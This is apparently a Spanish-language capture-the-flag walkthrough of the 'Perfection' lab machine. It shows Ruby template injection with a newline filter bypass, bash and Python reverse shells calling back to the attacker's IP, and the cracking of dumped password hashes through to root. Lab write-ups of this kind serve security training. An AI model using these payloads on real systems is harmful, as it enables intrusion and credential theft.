Perfection

nmap

```
nmap -sV -sC 10.10.11.253
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 17:21 CET
Nmap scan report for 10.10.11.253
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.22 seconds
```

```
vim /etc/hosts
10.10.11.253    perfection.htb
```

#Vamos a intercepar las peticiones con burpsuite.
#Visualizamos un petición GET cualquiera.

```
POST /weighted-grade-calc HTTP/1.1
Host: perfection.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
Origin: http://perfection.htb
DNT: 1
Connection: close
Referer: http://perfection.htb/weighted-grade
Upgrade-Insecure-Requests: 1

category1=a&grade1=1&weight1=1&category2=1b&grade2=1&weight2=1&category3=b&grade3=1&weight3=1&category4=b&grade4
=1&weight4=1&category5=b&grade5=1&weight5=1
```

#Intentaremos ejecutar un rev shell.
#Iniciamos el listener en localhost:
#El siguiente paso implica escuchar las conexiones entrantes usando nc -lvnp 7373, donde nc es la utilidad Netcat, una herramienta de red versátil. Los indicadores utilizados aquí (-l modo de escucha, -v detallado, -n direcciones IP solo numéricas, -p especifica el puerto) configuran un escucha en el puerto 7373, anticipando un shell inverso desde el destino.

```
nc -nlvp 7373
listening on [any] 7373 ...
```

#El uso de hURL para codificar y decodificar cargas útiles muestra la manipulación de datos para explotar las vulnerabilidades de las aplicaciones web. La carga útil diseñada para la aplicación Calculadora de calificación ponderada está diseñada para ejecutar un comando de shell inverso, aprovechando cualquier vulnerabilidad potencial de ejecución de código del lado del servidor.

```
apt-get install hurl
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  hurl
0 upgraded, 1 newly installed, 0 to remove and 1669 not upgraded.
Need to get 19.7 kB of archives.
After this operation, 191 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 hurl all 2.1-0kali3 [19.7 kB]
Fetched 19.7 kB in 0s (49.8 kB/s)
Selecting previously unselected package hurl.
(Reading database ... 60%
```

#OJO(Mirar sección "base64", del documento, utilizaremos un script en python3)
#Generamos el rev shell en: https://www.revshells.com/

```
sh -i >& /dev/tcp/10.10.16.84/7373 0>&1
```

#Con hurl, convertimosel payload en una cadena urlencodeada de 64bits. (Base 64 encode)

```
hURL -B
.::[ hURL - hexadecimal & URL (en/de)coder ]::.
v2.1 @COPYLEFT  ->  fnord0 <at> riseup <dot> net

  USAGE: /usr/bin/hURL [ -flag|--flag ] [ -f <file1>,<file2> ] [ string ]

  COMMAND LINE ARGUMENTS
   -M|--menu     => Menu-driven GUI                ;  /usr/bin/hURL -M
   -U|--URL      => URL encode                     ;  /usr/bin/hURL -U "hello world"
   -u|--url      => uRL decode                     ;  /usr/bin/hURL -u "hello%20world"
   -D|--DURL     => Double URL encode              ;  /usr/bin/hURL -D "hello world"
   -d|--durl     => double URL decode              ;  /usr/bin/hURL -d "hello%2520world"
   -B|--BASE64   => Base64 encode                  ;  /usr/bin/hURL -B "hello world"
   -b|--base64   => base64 decode                  ;  /usr/bin/hURL -b "aGVsbG8gd29ybGQ="

hURL -B 'sh -i >& /dev/tcp/10.10.16.84/7373 0>&1'

Original        :: sh -i >& /dev/tcp/10.10.16.84/7373 0>&1
base64 ENcoded :: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuODQvNzM3MyAwPiYx



 hURL -U 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuODQvNzM3MyAwPiYx'

Original    :: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuODQvNzM3MyAwPiYx
URL ENcoded :: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuODQvNzM3MyAwPiYx
```

base64

#Dentro de la página, podemos ver que podemos aplicar un SSTI.
#Esto la sabemos porque en la casilla de category, se procesan los datos (encodeados).
#Mirar: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Ejemplo:

```
POST /weighted-grade-calc HTTP/1.1
Host: perfection.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
Origin: http://perfection.htb
DNT: 1
Connection: close
Referer: http://perfection.htb/weighted-grade
Upgrade-Insecure-Requests: 1

category1=maths%0A<%=7*7%>&grade1=51&weight1=60&category2=english&grade2=10&weight2=20&category3=chemestry&grade3=10&weight3=10&category4=phisiscs&grade4=10&weight4=10&category5=N%2FA&grade5=0&weight5=0
```

#Si url-encodeamos los caracters <%=7*7%>:
#Se nos quedará:
%0A<%=7*7%>
#Dode podemos incluir cualquier comando URL-encodeado dentro.

#Si no ponemos el %0A el servidor, nos bloquea. Tendremos que añadir el espacio "%0A".

```
    </form>
     Malicious input blocked
   </div>
 </div>
```

#La petición se nos quedará así:

```
POST /weighted-grade-calc HTTP/1.1
Host: perfection.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 205
Origin: http://perfection.htb
DNT: 1
Connection: close
Referer: http://perfection.htb/weighted-grade
Upgrade-Insecure-Requests: 1

category1=maths%0A<%25%3d7*7%25>&grade1=51&weight1=60&category2=english&grade2=10&weight2=20&category3=chemestry&grade3=10&weight3=10&category4=phisiscs&grade4=10&weight4=10&category5=N%2FA&grade5=0&weight5=0
```

#En la respuesta, podemos ver como se realiza la operación.

```
      </form>
     Your total grade is 34%<p>maths
49: 30%</p><p>
```

#El SSTI funciona.
#Como segunda verificacción. Vamos a tratar de realizar un ping desde el servidor.

```
POST /weighted-grade-calc HTTP/1.1
Host: perfection.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Origin: http://perfection.htb
DNT: 1
Connection: close
Referer: http://perfection.htb/weighted-grade
Upgrade-Insecure-Requests: 1
```

```
category1=maths%0A<%25%3d+`ping+10.10.16.84`+
%25>&grade1=51&weight1=60&category2=english&grade2=10&weight2=20&category3=chemestry&grade3=10&weight3=10&categor-
y4=phisiscs&grade4=10&weight4=10&category5=N%2FA&grade5=0&weight5=0
```

#En localhost escribimos:

```
tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:44:02.402265 IP perfection.htb > 10.10.16.84: ICMP echo request, id 3, seq 36, length 64
19:44:02.402286 IP 10.10.16.84 > perfection.htb: ICMP echo reply, id 3, seq 36, length 64
19:44:03.404005 IP perfection.htb > 10.10.16.84: ICMP echo request, id 3, seq 37, length 64
19:44:03.404024 IP 10.10.16.84 > perfection.htb: ICMP echo reply, id 3, seq 37, length 64
19:44:04.405472 IP perfection.htb > 10.10.16.84: ICMP echo request, id 3, seq 38, length 64
19:44:04.405489 IP 10.10.16.84 > perfection.htb: ICMP echo reply, id 3, seq 38, length 64
19:44:05.408186 IP perfection.htb > 10.10.16.84: ICMP echo request, id 3, seq 39, length 64
19:44:05.408205 IP 10.10.16.84 > perfection.htb: ICMP echo reply, id 3, seq 39, length 64
```

#Podemos ver las trazas ICMP, por lo que nuestra ejecucción de comandos, funciona.

#Vamos a buscar si se está ejecutando python3 en el servidor, para crear un payload y conectarnos.
#Con el comando witch python3, nos indica que shell se estáusando y la versión.

```
which python3
/usr/bin/python3
```

#Si lo encodeamos y lo mandamos por bursuite, el servidor nos responde:
#Nota: (podemos utilizar el encoder en tiempo real de burpsuite.)

```
category1=maths%0A<%25%3d+`which+python3`+
%25>&grade1=51&weight1=60&category2=english&grade2=10&weight2=20&category3=chemestry&grade3=10&weight3=10&categor-
y4=phisiscs&grade4=10&weight4=10&category5=N%2FA&grade5=0&weight5=0

</p>
    </form>
    Your total grade is 34%<p>maths
/usr/bin/python3
: 30%</p><p>english: 2%
```

#Creamos un rev shell en python3: https://www.revshells.com/

```
export RHOST="10.10.16.84";export RPORT=7373;python3 -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
(0,1,2)];pty.spawn("sh")'
```

#Si lo encodeamos, la petición POST se nos quedará:

```
POST /weighted-grade-calc HTTP/1.1
Host: perfection.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 442
Origin: http://perfection.htb
DNT: 1
Connection: close
Referer: http://perfection.htb/weighted-grade
Upgrade-Insecure-Requests: 1

category1=maths%0A<%25%3d+`export+RHOST%3d"10.10.16.84"%3bexport+RPORT%3d7373%3bpython3+-
c+'import+sys,socket,os,pty%3bs%3dsocket.socket()%3bs.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
%3b[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)]%3bpty.spawn("sh")'`+
%25>&grade1=51&weight1=60&category2=english&grade2=10&weight2=20&category3=chemestry&grade3=10&weight3=10&categor-
y4=phisiscs&grade4=10&weight4=10&category5=N%2FA&grade5=0&weight5=0
```

#En la máquina local:

```
nc -nlvp 7373
listening on [any] 7373 ...
connect to [10.10.16.84] from (UNKNOWN) [10.10.11.253] 40972
$ whoami
whoami
susan
```

```
$
```

susan

```
nc -nlvp 7373
listening on [any] 7373 ...
connect to [10.10.16.84] from (UNKNOWN) [10.10.11.253] 54488
$ pwd
pwd
/home/susan/ruby_app

#Si vamos a la carpeta Migration, podemos ver un fichero.db.
$ cd Migration
cd Migration
$ ls
ls
pupilpath_credentials.db

#Podemos usar el comando strings, para ver el contenido.
#Tendremos que ir al home de susan:
$ cd /home
cd /home
$ cd susan

$ strings pupilpath_credentials.db
strings pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

#Podemos ver varios hash.
#Juntamos todos en un fichero llamado hash.txt
#No conseguimos identificar el tipo de hash.
#Intentaremos crackear el hash con hashcat.
hashcat --help | grep 1400
   1400 | SHA2-256                                                   | Raw Hash

#En: https://hashes.com/en/tools/hash_identifier
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f - Possible algorithms: SHA256

hashcat hash_susan.txt  -m 1400 -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1
[The pocl project]
==================================================================================
=====================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2201/4466 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
```

```
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Cracking performance lower than expected?

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Fri Mar  8 20:41:22 2024 (15 secs)
Time.Estimated...: Fri Mar  8 20:50:11 2024 (8 mins, 34 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1885.2 kH/s (0.49ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 29372416/1000000000 (2.94%)
Rejected.........: 0/29372416 (0.00%)
Restore.Point....: 29372416/1000000000 (2.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_308722877 -> susan_nasus_205385333
Hardware.Mon.#1..: Util: 22%

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Fri Mar  8 20:41:22 2024 (2 mins, 33 secs)
Time.Estimated...: Fri Mar  8 20:50:21 2024 (6 mins, 26 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1839.7 kH/s (0.39ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 289570816/1000000000 (28.96%)
Rejected.........: 0/289570816 (0.00%)
Restore.Point....: 289570816/1000000000 (28.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_303461750 -> susan_nasus_204724622
Hardware.Mon.#1..: Util: 30%

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Session..........: hashcat
Status...........: Cracked
```

```
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Fri Mar  8 20:41:22 2024 (2 mins, 52 secs)
Time.Estimated...: Fri Mar  8 20:44:14 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1911.1 kH/s (0.41ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 324558848/1000000000 (32.46%)
Rejected.........: 0/324558848 (0.00%)
Restore.Point....: 324554752/1000000000 (32.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_058540610 -> susan_nasus_803824210
Hardware.Mon.#1..: Util: 22%

Started: Fri Mar  8 20:41:20 2024
Stopped: Fri Mar  8 20:44:15 2024

hashcat hash_susan.txt  -m 1400 -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d --show
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
```

root

```
ssh susan@10.10.11.253
susan@10.10.11.253's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Fri Mar  8 07:48:27 PM UTC 2024

  System load:  1.74560546875     Processes:             215
  Usage of /:   54.6% of 5.80GB   Users logged in:       0
  Memory usage: 7%                IPv4 address for eth0: 10.10.11.253
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
susan@perfection:~$ sudo su
[sudo] password for susan:
root@perfection:/home/susan# whoami
root
```